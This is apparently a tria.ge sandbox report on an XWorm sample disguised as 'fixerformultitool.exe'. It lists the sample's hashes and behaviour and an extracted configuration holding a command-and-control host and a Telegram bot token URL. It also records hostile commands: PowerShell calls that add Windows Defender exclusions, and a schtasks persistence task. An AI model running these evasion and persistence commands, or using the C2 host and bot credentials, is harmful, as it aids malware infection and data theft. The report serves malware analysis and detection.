Windows 7 deprecation
Windows 7 will be removed from tria.ge on 2025-03-31
Analysis
-
max time kernel
126s -
max time network
136s -
platform
windows7_x64 -
resource
win7-20240903-en -
resource tags
arch:x64arch:x86image:win7-20240903-enlocale:en-usos:windows7-x64system -
submitted
20/01/2025, 20:15
Behavioral task
behavioral1
Sample
fixerformultitool.exe
Resource
win7-20240903-en
Behavioral task
behavioral2
Sample
fixerformultitool.exe
Resource
win10v2004-20241007-en
General
-
Target
fixerformultitool.exe
-
Size
79KB
-
MD5
2f7fb28cf91e8ccb2257834f9136cfd6
-
SHA1
b8f0f86c33bf46a8af745caf4bc0a8d5878e75f1
-
SHA256
014f0079149caead324ea0d3adb18d65f607662b8725da7fec7628de4acf828f
-
SHA512
4e0b8e0268346ddcd5c23d34c8c556eef66994d8c01f06bb5bd19cf1c25f00ee76ad8d0e1edb012ed64ba86a63cbcdb806595cc7d9dfc8ef4d31a4b6ef99c236
-
SSDEEP
1536:KPlF7XxO2o6rx59bm1AXR8x8KG6GaOD2srtdn+6:KrXcID9bm1k9KHOD2sr/+6
Malware Config
Extracted
xworm
bad-motor.gl.at.ply.gg:4444
-
Install_directory
%AppData%
-
install_file
USB.exe
-
telegram
https://api.telegram.org/bot7704029346:AAHPre1lXQa0UfPCpOUXJZ9UXA9mFxvH4Gk/sendMessage?chat_id=7590668020
Signatures
-
Detect Xworm Payload 3 IoCs
resource yara_rule behavioral1/memory/2252-1-0x0000000000D40000-0x0000000000D5A000-memory.dmp family_xworm behavioral1/files/0x0009000000012101-34.dat family_xworm behavioral1/memory/3008-36-0x00000000013E0000-0x00000000013FA000-memory.dmp family_xworm -
Xworm family
-
Command and Scripting Interpreter: PowerShell 1 TTPs 4 IoCs
Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.
pid Process 2372 powershell.exe 2708 powershell.exe 2824 powershell.exe 2300 powershell.exe -
Drops startup file 2 IoCs
description ioc Process File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\security.lnk fixerformultitool.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\security.lnk fixerformultitool.exe -
Executes dropped EXE 2 IoCs
pid Process 3008 security 2180 security -
Adds Run key to start application 2 TTPs 1 IoCs
description ioc Process Set value (str) \REGISTRY\USER\S-1-5-21-312935884-697965778-3955649944-1000\Software\Microsoft\Windows\CurrentVersion\Run\security = "C:\\Users\\Admin\\AppData\\Roaming\\security" fixerformultitool.exe -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
-
Scheduled Task/Job: Scheduled Task 1 TTPs 1 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
pid Process 2688 schtasks.exe -
Suspicious behavior: AddClipboardFormatListener 1 IoCs
pid Process 2252 fixerformultitool.exe -
Suspicious behavior: EnumeratesProcesses 5 IoCs
pid Process 2372 powershell.exe 2708 powershell.exe 2824 powershell.exe 2300 powershell.exe 2252 fixerformultitool.exe -
Suspicious use of AdjustPrivilegeToken 8 IoCs
description pid Process Token: SeDebugPrivilege 2252 fixerformultitool.exe Token: SeDebugPrivilege 2372 powershell.exe Token: SeDebugPrivilege 2708 powershell.exe Token: SeDebugPrivilege 2824 powershell.exe Token: SeDebugPrivilege 2300 powershell.exe Token: SeDebugPrivilege 2252 fixerformultitool.exe Token: SeDebugPrivilege 3008 security Token: SeDebugPrivilege 2180 security -
Suspicious use of SetWindowsHookEx 1 IoCs
pid Process 2252 fixerformultitool.exe -
Suspicious use of WriteProcessMemory 21 IoCs
description pid Process procid_target PID 2252 wrote to memory of 2372 2252 fixerformultitool.exe 31 PID 2252 wrote to memory of 2372 2252 fixerformultitool.exe 31 PID 2252 wrote to memory of 2372 2252 fixerformultitool.exe 31 PID 2252 wrote to memory of 2708 2252 fixerformultitool.exe 33 PID 2252 wrote to memory of 2708 2252 fixerformultitool.exe 33 PID 2252 wrote to memory of 2708 2252 fixerformultitool.exe 33 PID 2252 wrote to memory of 2824 2252 fixerformultitool.exe 35 PID 2252 wrote to memory of 2824 2252 fixerformultitool.exe 35 PID 2252 wrote to memory of 2824 2252 fixerformultitool.exe 35 PID 2252 wrote to memory of 2300 2252 fixerformultitool.exe 37 PID 2252 wrote to memory of 2300 2252 fixerformultitool.exe 37 PID 2252 wrote to memory of 2300 2252 fixerformultitool.exe 37 PID 2252 wrote to memory of 2688 2252 fixerformultitool.exe 39 PID 2252 wrote to memory of 2688 2252 fixerformultitool.exe 39 PID 2252 wrote to memory of 2688 2252 fixerformultitool.exe 39 PID 2044 wrote to memory of 3008 2044 taskeng.exe 43 PID 2044 wrote to memory of 3008 2044 taskeng.exe 43 PID 2044 wrote to memory of 3008 2044 taskeng.exe 43 PID 2044 wrote to memory of 2180 2044 taskeng.exe 45 PID 2044 wrote to memory of 2180 2044 taskeng.exe 45 PID 2044 wrote to memory of 2180 2044 taskeng.exe 45 -
Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
Processes
-
C:\Users\Admin\AppData\Local\Temp\fixerformultitool.exe"C:\Users\Admin\AppData\Local\Temp\fixerformultitool.exe"1⤵
- Drops startup file
- Adds Run key to start application
- Suspicious behavior: AddClipboardFormatListener
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:2252 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\fixerformultitool.exe'2⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2372
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess 'fixerformultitool.exe'2⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2708
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Roaming\security'2⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2824
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess 'security'2⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2300
-
-
C:\Windows\System32\schtasks.exe"C:\Windows\System32\schtasks.exe" /create /f /RL HIGHEST /sc minute /mo 1 /tn "security" /tr "C:\Users\Admin\AppData\Roaming\security"2⤵
- Scheduled Task/Job: Scheduled Task
PID:2688
-
-
C:\Windows\system32\taskeng.exetaskeng.exe {36AC1D62-6280-4E29-AEAA-CBD516BAD7EE} S-1-5-21-312935884-697965778-3955649944-1000:MXQFNXLT\Admin:Interactive:[1]1⤵
- Suspicious use of WriteProcessMemory
PID:2044 -
C:\Users\Admin\AppData\Roaming\securityC:\Users\Admin\AppData\Roaming\security2⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
PID:3008
-
-
C:\Users\Admin\AppData\Roaming\securityC:\Users\Admin\AppData\Roaming\security2⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
PID:2180
-
Network
MITRE ATT&CK Enterprise v15
Execution
Command and Scripting Interpreter
1PowerShell
1Scheduled Task/Job
1Scheduled Task
1Persistence
Boot or Logon Autostart Execution
1Registry Run Keys / Startup Folder
1Scheduled Task/Job
1Scheduled Task
1Replay Monitor
Loading Replay Monitor...
Downloads
-
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms
Filesize7KB
MD54dff81d00779302dec27fe3a092ae946
SHA17974ff75f95a8d16cb68f816141885f7152ba9eb
SHA2565bb297b1a60d29c85e7f2d7b29c24ac01db31fab379a9f9e162ed9cc33805035
SHA512aad5bae8143caa0f8fd97013fcac8d0820efaf2223b14a4da759dd56619e766f4f0de3065b05bf9a1515e8b2758b6b6739eb570263b76146d6c0ba8e04e9692c
-
Filesize
79KB
MD52f7fb28cf91e8ccb2257834f9136cfd6
SHA1b8f0f86c33bf46a8af745caf4bc0a8d5878e75f1
SHA256014f0079149caead324ea0d3adb18d65f607662b8725da7fec7628de4acf828f
SHA5124e0b8e0268346ddcd5c23d34c8c556eef66994d8c01f06bb5bd19cf1c25f00ee76ad8d0e1edb012ed64ba86a63cbcdb806595cc7d9dfc8ef4d31a4b6ef99c236